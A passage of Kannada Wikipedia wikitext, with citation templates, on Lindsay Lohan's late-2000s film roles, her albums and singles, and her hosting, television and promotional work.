ಹಿಂದೆ, ಅದೇ ಸಮಯದಲ್ಲಿ ಅಲೆದಾಡುವ ಲೆನ್ಸ್‌ಮೆನ್‌ಗಳು ಸೆರೆಹಿಡಿಯುತ್ತಾರೆ."</ref> ಇದು ಮೂಲವಾಗಿ ನಾಟಕ ಬಿಡುಗಡೆಗಾಗಿ ಯೋಜಿಸಲಾಗಿತ್ತು, ಆದರೆ ಜುಲೈ 2009 ರಲ್ಲಿ [[ಎಬಿಸಿ ಫ್ಯಾಮಿಲಿ]] ಕೇಬಲ್ ಚಾನಲ್‌ನಲ್ಲಿ ಟಿವಿ ಚಲನಚಿತ್ರವಾಗಿ ಪ್ರದರ್ಶನಗೊಂಡಿತು, "ಒಬ್ಬ ತಾರೆಗೆ ಇದು ಹಿನ್ನೆಡೆ" ಎಂದು ''[[ವೆರೈಟಿ]]'' ಹೇಳಿತು.<ref name="uswkly">{{cite web |url=https://omg.yahoo.com/news/lindsay-lohans-new-movie-goes-straight-to-cable/20472 |title=Lindsay Lohan's New Movie Goes Straight to Cable |access-date=2021-07-20 |archive-date=2009-03-30 |archive-url=https://web.archive.org/web/20090330215123/http://omg.yahoo.com/news/lindsay-lohans-new-movie-goes-straight-to-cable/20472 |url-status=dead }}</ref><ref>{{cite web |url=http://www.variety.com/review/VE1117940693.html?categoryid=32&cs=1 |title=Labor Pains |date=July 16, 2009 |publisher=Variety |accessdate=October 31, 2009 }}</ref> ಪ್ರದರ್ಶನವು 2.1 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಸ್ವೀಕರಿಸಿತು, "ಸರಾಸರಿಗಿಂತ ಉತ್ತಮ" [[ಇ!]] [[ಆನ್‌ಲೈನ್]] ಪ್ರಕಾರ.<ref>{{cite web |url=http://uk.eonline.com/uberblog/b135139_did_lindsay_lohan_movie_bomb.html |title=So, Did That Lindsay Lohan Movie Bomb? |date=July 21, 2009 |publisher=E! Online |accessdate=October 31, 2009 }}</ref> ಲೋಹಾನ್ "ಕಡಿಮೆ ಪ್ರಯತ್ನದ ಅಗತ್ಯವಿರುವುದಕ್ಕೆ ಅನಾಯಾಸವಾಗಿ ಪ್ರಗತಿ ಹೊಂದುವಂತೆ ತೋರುತ್ತಿದೆ", ಎಂದು ''[[ದಿ ಬೋಸ್ಟನ್ ಗ್ಲೋಬ್]]'' ಬರೆದಿತ್ತು.<ref>{{cite web |url=http://www.boston.com/ae/tv/articles/2009/07/17/pregnancy_plot_barely_holds_water_in_labor_pains/ |title=Pregnancy plot barely holds water |date=July 17, 2009 |publisher=The Boston Globe |author=Joanna Weiss |accessdate=October 31, 2009 }}</ref> "ಅತಿ ಉದಾರ ಸ್ವಭಾವದ ಬಾಲ ತಾರೆಯ ಹೆಗ್ಗಳಿಕೆಯ ಹಿಂತಿರುಗುವಿಕೆ ಇದಲ್ಲ. ... [''ಲೇಬರ್ ಪೈನ್ಸ್‌'' ] ಪಾತ್ರಕ್ಕೆ ತಕ್ಕಂತೆ ಲೋಹಾನ್ ಅವರು ಎಂದಿಗೂ ಹೆಚ್ಚಿನ ಒತ್ತು ನೀಡಲಿಲ್ಲ", ಎಂದು [[ಅಲೆಸೆಂಡ್ರಾ ಸ್ಟ್ಯಾನ್ಲೆ]] ಹೇಳುತ್ತಾರೆ.<ref>{{cite web |url=https://www.nytimes.com/2009/07/17/arts/television/17labor.html?_r=1 |title=What to Expect When You’re Lying |date=July 16, 2009 |publisher=The New York Times |author=Alessandra Stanley |accessdate=October 31, 2009 }}</ref> ಲೋಹಾನ್ ಅವರು [[ರೋಬರ್ಟ್ ರೋಡ್ರಿಗ್ಯೂಜ್‌]]ನ 2010 ಚಿತ್ರ ''[[ಮಚೇಟಿ]]'' ಯಲ್ಲಿ ಗೋಚರಿಸಲಿದ್ದಾರೆ, ಇದನ್ನು 2009 ಇವರು 2009 ರ ಆಗಸ್ಟ್ ಮತ್ತು ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿದರು.<ref>{{cite web |url=http://www.accesshollywood.com/lindsay-lohan-heads-back-to-work-shoot-is-going-great_article_21640 |title=Lindsay Lohan Heads Back To Work: ‘Shoot Is Going Great!’ |publisher=Access Hollywood |date=August 13, 2009 |accessdate=August 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TXOba1o?url=http://www.accesshollywood.com/lindsay-lohan-heads-back-to-work-shoot-is-going-great_article_21640 |url-status=dead }}</ref><ref>{{cite web |url=http://www.people.com/people/article/0,,20305137,00.html |title=Lindsay Lohan Is Not in a Psych Ward |date=September 17, 2009 |quote=Lohan's rep tells PEOPLE the actress is indeed working, and is currently in Texas shooting the upcoming thriller Machete |accessdate=October 3, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TXPHwhC?url=http://www.people.com/people/article/0,,20305137,00.html |url-status=dead }}</ref> ಮೇ 2009 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರು 2010 ರಲ್ಲಿ ಬಿಡುಗಡೆಗಾಗಿ ಯೋಜಿಸಲಾದ ಮುಂಬರುವ ಚಿತ್ರ ''[[ದಿ ಅದರ್ ಸೈಡ್‌]]'' ನಲ್ಲಿ ಮುಖ್ಯ ಪಾತ್ರವಹಿಸಲಿದ್ದಾರೆ ಎಂದು ಪ್ರಕಟಿಸಲಾಗಿತ್ತು.<ref>{{cite web |last=Caplan |first=David |url=http://www.people.com/people/article/0,,20278963,00.html |title=Lindsay Lohan Lands New Movie Role |publisher=People |date=May 14, 2009 |accessdate=October 4, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TXPpUKH?url=http://www.people.com/people/article/0,,20278963,00.html |url-status=dead }}</ref> 2007 ರಿಂದ ''[[ಡೇರ್ ಟು ಲೌ ಮಿ]]'' ಚಿತ್ರದಲ್ಲಿ ಗೋಚರಿಸುವಂತೆ ತಿಳಿಸಲಾಗಿತ್ತು.<ref>"[http://www.vancouversun.com/entertainment/movie-guide/Lindsay+Lohan+Samantha+Ronson+Reunited+finding+closure/1531141/story.html ಲಿಂಡ್ಸೆ ಲೋಹಾನ್ ಅಂಡ್ ಸಮಂತಾ ರೋನ್ಸನ್: ರಿಯುನೈಟೆಡ್ ಆರ್ ಫೈಂಡಿಂಗ್ ಕ್ಲೋಸರ್?] {{Webarchive|url=https://web.archive.org/web/20090427074131/http://www.vancouversun.com/entertainment/movie-guide/Lindsay+Lohan+Samantha+Ronson+Reunited+finding+closure/1531141/story.html |date=2009-04-27 }}". ''ವ್ಯಾಂಕೋವರ್ ಸನ್'' . ಏಪ್ರಿಲ್‌ 24, 2003. 10 ಅಕ್ಟೋಬರ‍್, 2008ರಂದು ಪರಿಷ್ಕರಿಸಲಾಗಿದೆ. "ಲೋಹಾನ್ ಅವರು ಪ್ರಸ್ತುತ ಮುಂಬರುವ ಚಿತ್ರ ಡೇರ್ ಟು ಲೌ ಮಿಯಲ್ಲಿ ಗೋಚರಿಸಲಿದ್ದಾರೆ, ಇದನ್ನು 2010 ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲು ಯೋಜಿಸಲಾಗಿದೆ."</ref><ref>{{cite web |url=http://www.foxnews.com/story/0,2933,290681,00.html |title=Lindsay Lohan Declares Innocence, Says Drugs Weren't Hers |date=July 26, 2007 |publisher=Associated Press via Foxnews |quote=Lohan is still set to appear in the film "Dare to Love Me," which is to begin shooting this summer, said Michael Sands, a consultant for production company Bowline Entertainment. |accessdate=December 21, 2009 }}</ref> == ಸಂಗೀತದ ವೃತ್ತಿ ಜೀವನ == [[ಚಿತ್ರ:Lindsay Lohan 2.jpg|thumb|right|2002 ರಲ್ಲಿ ಲೋಹಾನ್]] [[ಆನ್-ಮಾರ್ಗರೆಟ್]] ಮತ್ತು [[ಮೆರ್ಲಿನ್ ಮನ್ರೋ]]ರಂತೆ ನಟಿ, ಗಾಯಕಿ ಮತ್ತು ನೃತ್ಯಗಾರ್ತಿ ಎಂದು ಮೂರು ಬಗೆಯಲ್ಲಿ ಸಾಧಿಸಬೇಕೆಂದು ಗುರಿ ಹೊಂದಿದ್ದ ಲೋಹಾನ್ ಅವರು ತಮ್ಮ ಚಿತ್ರಗಳ ಮೂಲಕ ತಮ್ಮ ಹಾಡುಗಾರಿಕೆಯ ಪ್ರತಿಭೆಯನ್ನು ತೋರಿಸಲು ಪ್ರಾರಂಭಿಸಿದರು.<ref name="wmagazine">{{cite web |publisher=W Magazine |title=Lindsay Lohan |url=http://www.wmagazine.com/celebrities/archive/lindsay_lohan?currentPage=4 |accessdate=August 5, 2008 |month=April |year=2005 |quote=it was with Ann-Margret in mind that she decided to make a foray into music. 'A lot of the people that I looked up to, the Ann-Margrets and the Marilyn Monroes, everyone was a triple threat,' she explains. 'You had to sing, dance and act, and you did it in all your movies.' |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TRexJ1k?url=http://www.wmagazine.com/celebrities/archive/lindsay_lohan?currentPage=4 |url-status=dead }}</ref> [[ಫ್ರೀಕಿ ಫ್ರೈಡೆ ಸೌಂಡ್‌ಟ್ರ್ಯಾಕ್‌|''ಫ್ರೀಕಿ ಫ್ರೈಡೆ'' ಸೌಂಡ್‌ಟ್ರ್ಯಾಕ್‌]]ಗಾಗಿ ಇವರು ಮುಕ್ತಾಯ ಥೀಮ್ "ಅಲ್ಟಿಮೇಟ್" ಅನ್ನು ಹಾಡಿದರು [[ಕನ್ಫೆಶನ್ಸ್ ಆಫ್ ಎ ಟೀನೇಜ್ ಡ್ರಾಮಾ ಕ್ವೀನ್‌ ಸೌಂಡ್‌ಟ್ರ್ಯಾಕ್‌|''ಕನ್ಫೆಶನ್ಸ್ ಆಫ್ ಎ ಟೀನೇಜ್ ಡ್ರಾಮಾ ಕ್ವೀನ್‌'' ಸೌಂಡ್‌ಟ್ರ್ಯಾಕ್‌]]ಗಾಗಿ ಇವರು ನಾಲ್ಕು ಹಾಡುಗಳನ್ನು ಸಹ ದಾಖಲಿಸಿದರು. ತಯಾರಕ [[ಎಮಿಲಿಯೊ ಎಸ್ಟೀಫನ್, ಜೆಆರ್.]] ಅವರು 2002ರಲ್ಲಿ ಐದು ಆಲ್ಬಂ ತಯಾರಿಕೆಗಾಗಿ ಲೋಹಾನ್ ಅವರ ಸಹಿ ಪಡೆದರು.<ref name="estefan">{{cite web |publisher=findarticles.com |title=Business Wire: Emilio Estefan, Jr., Signs Lindsay Lohan |url=http://www.findarticles.com/p/articles/mi_m0EIN/is_2002_Sept_25/ai_92044377 |accessdate=December 5, 2004 }}</ref> ಎರಡು ವರ್ಷಗಳ ನಂತರ, ಲೋಹಾನ್ ಅವರು [[ಟೋಮಿ ಮೊಟೋಲಾ]] ಅವರ ನಾಯಕತ್ವದೊಂದಿಗಿನ [[ಕ್ಯಾಸಬ್ಲ್ಯಾಂಕಾ ರೆಕಾರ್ಡ್ಸ್‌]]ನೊಂದಿಗೆ ರೆಕಾರ್ಡಿಂಗ್ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದರು.<ref>{{cite web |url=http://www.billboard.com/artist/lindsay-lohan/561649#/artist/lindsay-lohan/bio/561649 |title=Lindsay Lohan Biography & Awards |publisher=Billboard |accessdate=October 4, 2009 }}</ref> ಇವರು ನಟಿಸಿದ ಆಲ್ಬಂ, ''[[ಸ್ಪೀಕ್‌]]'' ಅನ್ನು 2004 ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು ಇದು [[ಬಿಲ್‌ಬೋರ್ಡ್ 200]]ನಲ್ಲಿ ನಾಲ್ಕನೇ ಸ್ಥಾನವನ್ನು ಪಡೆದುಕೊಂಡಿತು. 2005 ರಲ್ಲಿ, ಇದನ್ನು [[ಪ್ಲ್ಯಾಟಿನಮ್]] ಎಂದು ಪ್ರಮಾಣೀಕರಿಸಲಾಯಿತು. ಪ್ರಾಥಮಿಕವಾಗಿ [[ಪಾಪ್]] ಆಲ್ಬಂ ಆಗಿದ್ದರೂ, ''ಸ್ಪೀಕ್'' ಅನ್ನು "[[ರೂಮರ್ಸ್‌]]ನೊಂದಿಗೆ ಪರಿಚಯಿಸಲಾಯಿತು, ''[[ರೋಲಿಂಗ್ ಸ್ಟೋನ್‌]]'' ನಿಂದ "ಒಂದು ಬ್ಯಾಸ್-ಹೆವಿ, ಆಂಗ್ರಿ ಕ್ಲಬ್ ಆಂಥಮ್" ಎಂದು ವಿವರಿಸಲಾಯಿತು.<ref name="rumors">{{cite web |publisher=rollingstone.com |title=Lindsay Lohan: Rumors |url=http://www.rollingstone.com/artists/lindsaylohan/albums/album/6490352/rid/6507507 |accessdate=January 27, 2006 |archive-date=ಮಾರ್ಚ್ 16, 2006 |archive-url=https://web.archive.org/web/20060316105550/http://www.rollingstone.com/artists/lindsaylohan/albums/album/6490352/rid/6507507 |url-status=dead }}</ref> ಲೈಂಗಿಕವಾಗಿ ಸೂಚಿಸಲಾಗುವ ವೀಡಿಯೊವು [[ಎಂಟಿವಿ]]ಯ ''[[ಟೋಟಲ್ ರಿಕ್ವೆಸ್ಟ್ ಲೈವ್‌]]'' ನಲ್ಲಿ ಮೊದಲ ಸ್ಥಾನವನ್ನು ಪಡೆದುಕೊಂಡಿತು ಮತ್ತು 2005 ರಲ್ಲಿ [[ಎಂಟಿವಿ ವೀಡಿಯೊ ಮ್ಯೂಸಿಕ್ ಅವಾರ್ಡ್ಸ್]] ನಲ್ಲಿ [[ಉತ್ತಮ ಪಾಪ್ ವೀಡಿಯೊ]]ಗಾಗಿ ಪ್ರವೇಶಪಡೆದುಕೊಂಡಿತು. "ರೂಮರ್ಸ್" ಅಂತಿಮವಾಗಿ ಅಮೇರಿಕದಲ್ಲಿ [[ಗೋಲ್ಡ್]] ಪ್ರಮಾಣಪತ್ರವನ್ನು ಪಡೆದುಕೊಂಡಿತು. ಲೋಹಾನ್ 2005 ರಲ್ಲಿನ ''ಹರ್ಬಿ: ಫುಲ್ಲೀ ಲೋಡೆಡ್'' ಚಿತ್ರದಲ್ಲಿ ವೈಶಿಷ್ಟ್ಯಗೊಂಡ ಅವರ ಆಲ್ಬಂ ಎರಡನೇ ಸಿಂಗ್ "[[ಓವರ್]]" ಮತ್ತು ಮೂರನೇ ಸಿಂಗಲ್ "[[ಫಸ್ಟ್]]" ಅನ್ನು ಹೊರಹಾಕಿತ್ತು. ಡಿಸೆಂಬರ್ 2005 ರಲ್ಲಿ, ಅವರ ಎರಡನೇ ಆಲ್ಬಂ ''[[ಎ ಲಿಟ್ಲ್ ಮೋರ್ ಪರ್ಸನಲ್ (ರಾ)]],'' ಬಿಲ್‌ಬೋರ್ಡ್ 200 ಚಾರ್ಟ್‌ನಲ್ಲಿ 20 ಸಂಖ್ಯೆಯನ್ನು ಪಡೆದುಕೊಂಡಿತು, ಆದರೆ ಆರು ವಾರಗಳ ಒಳಗಾಗಿ ಉನ್ನತ 100 ರ ಒಳಗೆ ಇರುವಂತೆ ಇಳಿಕೆ ಕಂಡಿತು. ''[[ಸ್ಲ್ಯಾಂಟ್]]'' ವೃತ್ತಪತ್ರಿಕೆಯು ಇದನ್ನು "ರೂಪಿಸಲಾದ ... ಆದರೆ ಇಂತಹ ಎಲ್ಲ ಸ್ಥೂಲವಾದ ವಿಷಯಗಳಿಗೆ, ಮೂಳೆಗಳಿವೆ ಆದರೆ ಸಾಕಷ್ಟು ಮಾಂಸವಿಲ್ಲ" ಎಂದು ಟೀಕಿಸಿತ್ತು.<ref name="slant">{{cite web |publisher=slantmagazine.com |title=Slant magazine: Music Review:'' A Little More Personal (Raw) |url=http://www.slantmagazine.com/music/music_review.asp?ID=697 |accessdate=January 29, 2006 }}</ref> ಜನವರು 18, 2006 ರಂದು ಆಲ್ಬಂ ಅನ್ನು ಗೋಲ್ಡ್ ಎಂದು ಪ್ರಮಾಣೀಕರಿಸಲಾಯಿತು. ಲೋಹಾನ್ ನಿರ್ದೇಶಿಸಿದ ಮತ್ತು ಅವರ ಸಹೋದರಿಯ ಆಲಿಯ ನಟನೆಯ ಪ್ರವೇಶವನ್ನು ತೋರಿಸುವ ಆಲ್ಬಂನ ಮೊದಲ ಸಿಂಗಲ್ ಸಂಗೀತ ವೀಡಿಯೊ "[[ಕನ್ಫೆಶನ್ಸ್ ಆಫ್ ಎ ಬ್ರೋಕನ್ ಹಾರ್ಟ್ (ಡಾಟರ್ ಟು ಫಾದರ್)]]" ಎಂಬುದು ಅವರ ತಂದೆಯ ಕೈಯಲ್ಲಿ ಅನುಭವಿಸಿದ ನೋವಿನ ನಟನೆ ಎಂದು ಲೋಹಾನ್ ಹೇಳುತ್ತಾರೆ.<ref name="coabh_video">{{cite web |publisher=billboard.com |title=Billboard: Lohan Puts "Heart" into Second Album |url=http://www.billboard.com/bb/daily/article_display.jsp?vnu_content_id=1001219529 |archiveurl=https://web.archive.org/web/20060316195454/http://www.billboard.com/bbcom/news/article_display.jsp?vnu_content_id=1001219529 |archivedate=ಮಾರ್ಚ್ 16, 2006 |accessdate=September 30, 2005 |url-status=live }}</ref> ''[[ಬಿಲ್‌ಬೋರ್ಡ್ ಹಾಟ್ 100]]'' ರಲ್ಲಿ #57 ಸ್ಥಾನ ಪಡೆದುಕೊಂಡ ಇದು ಲೋಹಾನ್ ಅವರ ಮೊದಲ ಹಾಡು.<ref>{{cite web |url=http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=561649&model.vnuAlbumId=7503500 |title=Artist Chart History - Lindsay Lohan |publisher=Billboard |archiveurl=https://web.archive.org/web/20070311151809/http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=561649&model.vnuAlbumId=750350 |archivedate=March 11, 2009 |accessdate=October 4, 2009 }}</ref> [[ಯೂನಿವರ್ಸಲ್ ಮೊಟೌನ್‌]]ಗೆ ಬದಲಿಸುವುದು ಮುಂದುವರಿದಂತೆ ಲೋಹಾನ್ ಅವರು ಮೂರನೇ ಆಲ್ಬಂನಲ್ಲಿ ಕೆಲಸ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದರು, ತಾತ್ಕಾಲಿಕವಾಗಿ ''ಸ್ಪಿರಿಟ್ ಇನ್ ದಿ ಡಾರ್ಕ್'' ಎಂಬ ಶೀರ್ಷಿಕೆಯನ್ನು ಒಳಗೊಂಡ ಆಲ್ಬಂ, 2007 ರ ಕೊನೆಯಲ್ಲಿ ಮತ್ತು ಮೇ 2008 ರಲ್ಲಿ "[[ಬಾಸಿ]]" ಎಂಬ ಹಾಡು ಬಿಡುಗಡೆಗೊಂಡಿತು.<ref>{{cite web |url=http://www.allmusic.com/artist/lindsay-lohan-p606537 |title=Lindsay Lohan Biography |publisher=allmusic }}</ref><ref>{{cite web |url=http://www.people.com/people/article/0,,20166542,00.html |title=Lindsay Lohan: 'It Was Time to Grow Up' |date=December 14, 2007 }}</ref><ref>{{cite web |url=http://www.rollingstone.com/rockdaily/index.php/2008/06/26/lindsay-lohan-plots-third-album/ |title=Lindsay Lohan Nabs Hitmakers for Third Album |date=June 26, 2008 |publisher=Rolling Stone |accessdate=January 8, 2010 |archive-date=ಏಪ್ರಿಲ್ 21, 2009 |archive-url=https://web.archive.org/web/20090421061551/http://www.rollingstone.com/rockdaily/index.php/2008/06/26/lindsay-lohan-plots-third-album |url-status=dead }}</ref><ref>{{cite web |url=http://www.billboard.com/news/lindsay-lohan-gets-bossy-on-new-track-1003805736.story |title=Lindsay Lohan Gets 'Bossy' On New Track |publisher=Billboard.com }}</ref> ನವೆಂಬರ್ 2008 ರಲ್ಲಿ ಆಲ್ಬಂನ ಕೆಲಸವನ್ನು ನಿಲ್ಲಿಸಲಾಯಿತು ಹಾಗೂ ಈ ಮೂಲಕ ಚಿತ್ರಗಳು ಮತ್ತು ಸಂಗೀತದಲ್ಲಿ ತಮ್ಮ ಕೆಲಸದ ಒತ್ತಡವನ್ನು ಅವರು ತಪ್ಪಿಸಬೇಕೆಂದಿದ್ದರು.<ref>{{cite web |url=http://www.accesshollywood.com/lindsay-lohan-says-she-avoided-finishing-her-new-album_article_12166 |title=Lindsay Lohan Says She Avoided Finishing Her New Album |date=November 13, 2008 |access-date=ಮಾರ್ಚ್ 9, 2010 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSQhZg6?url=http://www.accesshollywood.com/lindsay-lohan-says-she-avoided-finishing-her-new-album_article_12166 |url-status=dead }}</ref> == ಇತರ ಕಾರ್ಯಗಳು == === ಪಾಲ್ಗೊಳ್ಳುವಿಕೆಗಳು === 2004 ರಲ್ಲಿ ತಮ್ಮ 17 ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಲೋಹಾನ್ ಅವರು [[ಎಂಟಿವಿ ಮೂವಿ ಅವಾರ್ಡ್ಸ್‌]]ನ ಯುವ ಹೋಸ್ಟ್ ಆದರು.<ref>{{cite web |url=http://www.ew.com/ew/article/0,,646426,00.html |title=''Kill Bill -- Vol. I'' tops MTV Movie Awards |publisher=[[Entertainment Weekly]] |date=June 7, 2004 |accessdate=October 18, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TRn6lRc?url=http://www.ew.com/ew/article/0,,646426,00.html |url-status=dead }}</ref> ಮುಂದುವರಿದು ''ಮೀನ್ ಗರ್ಲ್'' [[ಟಿನಾ ಫೇ]] ಅವರಿಂದ ರಚಿಸಲಾಗಿರುವುದು ಮತ್ತು , ''[[ಸ್ಯಾಟರ್ಡೆ ನೈಟ್ ಲೈವ್]]'' ನ ಹಲವಾರು ಅಲ್ಯುಮಿನಿಯವರನ್ನು ಆಧರಿಸಿತ್ತು, ಲೋಹಾನ್ ಅವರು [[ವರ್ಲ್ಡ್ ಮ್ಯೂಸಿಕ್ ಅವರ್ಡ್ಸ್‌]] ಅನ್ನು ಹೋಸ್ಟ್ ಮಾಡಿದಾಗ, ಅವರಿಗೆ 2004, 2005 ಮತ್ತು 2006 ರಲ್ಲಿನ ಮೂರು ಶೋಗಳನ್ನು ಹೋಸ್ಟ್ ಮಾಡುವಂತೆ ಹೇಳಲಾಗಿತ್ತು.<ref>{{cite web |url=http://news.bbc.co.uk/cbbcnews/hi/newsid_6140000/newsid_6149900/6149996.stm |title=World Music Awards come to London |date=November 15, 2006 |accessdate=October 3, 2009 }}</ref> ಆಗಸ್ಟ್ 2009 ರಲ್ಲಿ ಪ್ರಸಾರಗೊಂಡ ಯುಎಸ್ ಟಿವಿ ಸ್ಟೈಲ್ ಸ್ಪರ್ಧೆ ''[[ಪ್ರಾಜೆಕ್ಟ್ ರನ್‌ವೇ]]'' ಯ ಆರನೇ ಸೀಜನ್ ಪ್ರದರ್ಶನ ಭಾಗದಲ್ಲಿ ಇವರು ಅತಿಥಿ ತೀರ್ಪುಗಾರರಾಗಿದ್ದರು.<ref>{{cite web |url=https://omg.yahoo.com/news/access-exclusive-lindsay-lohan-guest-judges-project-runway-season-six-premiere/13278 |title=ACCESS EXCLUSIVE: Lindsay Lohan Guest Judges 'Project Runway' Season Six Premiere |publisher=Access Hollywood via Omg! |date=September 19, 2008 |accessdate=October 3, 2009 |archive-date=ಸೆಪ್ಟೆಂಬರ್ 22, 2008 |archive-url=https://web.archive.org/web/20080922174520/http://omg.yahoo.com/news/access-exclusive-lindsay-lohan-guest-judges-project-runway-season-six-premiere/13278 |url-status=dead }}</ref><ref>{{cite web |url=http://latimesblogs.latimes.com/showtracker/2009/08/project-runway-back-with-a-vengeance.html |title='Project Runway': Back with a vengeance! |publisher=[[Los Angeles Times]] |date=August 21, 2009 }}</ref> ಡಿಸೆಂಬರ್ 2009 ರಲ್ಲಿ, ಲೋಹಾನ್ ಅವರು [[ಬಿಬಿಸಿ ತ್ರೀ]]ಯಲ್ಲಿನ ಮಹಿಳೆ ಮತ್ತು ಮಕ್ಕಳ [[ಮಾರಾಟ]]ದ ಕುರಿತ ಡಾಕ್ಯುಮೆಂಟರಿಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಲು [[ಭಾರತ]]ದಲ್ಲಿ ಒಂದು ವಾರ ಕಳೆದರು.<ref>{{cite web |url=http://www.telegraph.co.uk/news/newstopics/celebritynews/6772147/BBC-helps-Lindsay-Lohan-save-children-in-India.html |title=BBC helps Lindsay Lohan save children in India |date=December 9, 2009 |author=Tim Walker |publisher=The Telegraph |accessdate=December 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSn28Dj?url=http://www.telegraph.co.uk/news/celebritynews/6772147/BBC-helps-Lindsay-Lohan-save-children-in-India.html |url-status=dead }}</ref><ref>{{cite web |url=http://www.people.com/people/article/0,,20326926,00.html |title=Lindsay Lohan Returns From India |date=December 13, 2009 |author=David Caplan |publisher=People |accessdate=December 15, 2009 }}</ref> 2005 ರಲ್ಲಿ, [[ಮ್ಯಾಟೆಲ್]] ಬಿಡುಗಡೆ ಮಾಡಿದ [[ಮೈ ಸೀನ್]] [[ಸೆಲಬ್ರಿಟಿ ಡಾಲ್]] ಪಡೆದುಕೊಳ್ಳುವಲ್ಲಿ ಲೋಹಾನ್ ಮೊದಲಿಗರಾದರು. ಗೊಂಬೆಗಳ ಸರಣಿಗಳನ್ನು ಆಧಾರವಾಗಿರಿಸಿಕೊಂಡ ಆನಿಮೇಟ್ ಮಾಡಿದ ಡೈರೆಕ್ಟ್-ಟು-ಡಿವಿಡಿಯಲ್ಲಿ ಚಿತ್ರ ''[[ಮೈ ಸೀನ್ ಗೋಸ್ ಹಾಲಿವುಡ್‌]]'' ನಲ್ಲಿ ಇವರು ತಮ್ಮ ಧ್ವನಿಯನ್ನು ನೀಡಿದ್ದಾರೆ.<ref name="doll">{{cite web |author=Larry Carroll |publisher=vh1.com |title=Lohan Still A Redhead On Toy-Store Shelves, In Cartoons |url=http://www.vh1.com/movies/news/articles/1507565/08122005/story.jhtml |accessdate=December 3, 2006 }}</ref> ಮೇ 2008 ರ [[ಎನ್*ಇ*ಆರ್*ಡಿ]] ಹಾಡು "[[ಎವ್ರಿವನ್ ನೋಸ್]]" ಗಾಗಿ ಡ್ರಗ್‌ನ ಥೀಮ್ ಹೊಂದಿರುವ ಸಂಗೀತ ವೀಡಿಯೊದಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಕಿರು ಚಿತ್ರ ಮಾಡಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.mtv.com/news/articles/1584718/20080403/nerd.jhtml|title=MTV News - N.E.R.D. Video Shoot -- Featuring Lindsay Lohan -- Erupts Into Brawl<!-- Bot generated title -->}}</ref> ಏಪ್ರಿಲ್ 2009 ರಲ್ಲಿ, 0}ಸಮಂತಾ ರೊನ್ಸನ್‌ರೊಂದಿಗಿನ ಒಡಕುಂಟಾದ ಕಾರಣ ಲೋಹಾನ್ ಅವರು [[ಫನ್ನಿ ಆರ್ ಡೈ]] ಕಾಮಿಡಿ ವೆಬ್‌ಸೈಟ್‌ನಲ್ಲಿ ಒಂದು ಕಿರು ಹಾಸ್ಯದಲ್ಲಿ ಗೋಚರಿಸಿದರು.. [[ಸೆಲ್ಫ್-ಡೆಪ್ರಿಕೇಟಿಂಗ್]] ವೀಡಿಯೊವು [[ಇಹಾರ್ಮೊನಿ]] ಎಂಬ ಡೇಟಿಂಗ್ ವೆಬ್‌ಸೈಟ್‌ನಲ್ಲಿನ ವೈಯಕ್ತಿಕ ಜಾಹೀರಾತುಗಳ ವಿಡಂಬನೆ ಅಣಕಿಸುವಿಕೆಯಾಗಿತ್ತು.<ref>{{cite video|url=http://www.funnyordie.com/videos/0d646e2edb/lindsay-lohan-s-eharmony-profile|title=Lindsay Lohan's eHarmony Profile|publisher=[[Funny Or Die]]}}</ref><ref>{{cite web |url=http://www.theinsider.com/news/2018466_Lindsay_Lohan_makes_mock_dating_service_ad |title=Lindsay Lohan makes mock dating service ad |publisher=Associated Press via The Insider |date=April 14, 2009 |accessdate=October 2, 2009 |archive-date=ಅಕ್ಟೋಬರ್ 3, 2009 |archive-url=https://www.webcitation.org/5kEmuuB39?url=http://www.theinsider.com/news/2018466_Lindsay_Lohan_makes_mock_dating_service_ad |url-status=dead }}</ref> ಇದು ಮೊದಲ ವಾರದಲ್ಲಿ 2.7 ಮಿಲಿಯನ್ ಬಾರಿ ವೀಕ್ಷಣೆ ಪಡೆದಿತ್ತು ಹಾಗೂ ಮಾಧ್ಯಮದಿಂದ ಉತ್ತಮ ಪ್ರತಿಕ್ರಿಯೆಗಳು ಬಂದಿದ್ದವು.<ref>{{cite web |url=http://www.telegraph.co.uk/news/newstopics/celebritynews/5186659/Lindsay-Lohans-spoof-personal-ad-is-viewed-by-2.7m.html |title=Lindsay Lohan's spoof personal ad is viewed by 2.7m |date=April 20, 2009 |quote=Robin Roberts, the anchorman for ABC news, said of the two minute mock personal: 'It's not just getting laughs, it may get her career back on track.' |access-date=ಮಾರ್ಚ್ 9, 2010 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSi7HdK?url=http://www.telegraph.co.uk/news/celebritynews/5186659/Lindsay-Lohans-spoof-personal-ad-is-viewed-by-2.7m.html |url-status=dead }}</ref><ref>{{cite web |url=http://www.advocate.com/Arts_and_Entertainment/People/Lindsay_Lohan__39;s_Fight_for_Marriage_Equality/ |title=Lindsay Lohan's Fight for Marriage Equality |publisher=[[The Advocate]] |date=April 25, 2009 |quote=Lindsay Lohan’s recently released faux eHarmony profile is perhaps the most brilliant 90 seconds in the young actor’s career. }}</ref> === ಮಾಡೆಲಿಂಗ್ 